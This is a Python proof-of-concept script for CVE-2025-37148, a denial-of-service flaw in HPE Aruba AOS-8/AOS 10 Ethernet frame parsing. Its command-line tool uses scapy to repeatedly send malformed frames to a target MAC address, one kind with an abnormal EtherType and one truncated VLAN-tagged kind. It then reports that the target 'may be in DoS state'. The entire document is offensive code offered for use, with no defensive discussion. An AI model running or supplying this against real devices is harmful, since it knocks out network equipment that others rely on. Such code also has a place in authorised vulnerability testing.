#!/usr/bin/env python3
# CVE-2025-37148 - HPE Aruba AOS-8/AOS 10 Ethernet Frame Parsing DoS
# PoC for sending malformed Ethernet frames to trigger DoS
from scapy.all import Ether, Raw, sendp, conf
import argparse
import sys
def build_malicious_frame(target_mac, src_mac, ethertype=0xFFFF):
"""
Build a malformed Ethernet frame with abnormal EtherType
to trigger parsing vulnerability in AOS-8/AOS 10
"""
# Construct malformed Ethernet frame with non-standard EtherType
frame = Ether(dst=target_mac, src=src_mac, type=ethertype)
# Add abnormal payload that may trigger parsing error
payload = b'\x00' * 64 + b'\xff\xfe\xfd\xfc' * 16
frame = frame / Raw(load=payload)
return frame
def build_truncated_frame(target_mac, src_mac):
"""
Build a truncated Ethernet frame with abnormal length field
"""
frame = Ether(dst=target_mac, src=src_mac, type=0x8100)
# Minimal payload that may cause buffer underflow
payload = b'\x00\x01\x00\x00'
frame = frame / Raw(load=payload)
return frame
def main():
parser = argparse.ArgumentParser(description='CVE-2025-37148 PoC')
parser.add_argument('-i', '--interface', required=True, help='Network interface')
parser.add_argument('-t', '--target', required=True, help='Target MAC address')
parser.add_argument('-s', '--source', default='aa:bb:cc:dd:ee:ff', help='Source MAC address')
parser.add_argument('-c', '--count', type=int, default=100, help='Number of frames')
args = parser.parse_args()
conf.iface = args.interface
print(f"[*] CVE-2025-37148 PoC - HPE Aruba DoS via Ethernet Frame Parsing")
print(f"[*] Target: {args.target}")
print(f"[*] Interface: {args.interface}")
print(f"[*] Sending {args.count} malicious frames...")
for i in range(args.count):
# Send malformed frame with abnormal EtherType
frame1 = build_malicious_frame(args.target, args.source)
sendp(frame1, verbose=False)
# Send truncated frame
frame2 = build_truncated_frame(args.target, args.source)
sendp(frame2, verbose=False)
print(f"[*] Done. Target device may be in DoS state.")
if __name__ == '__main__':
main()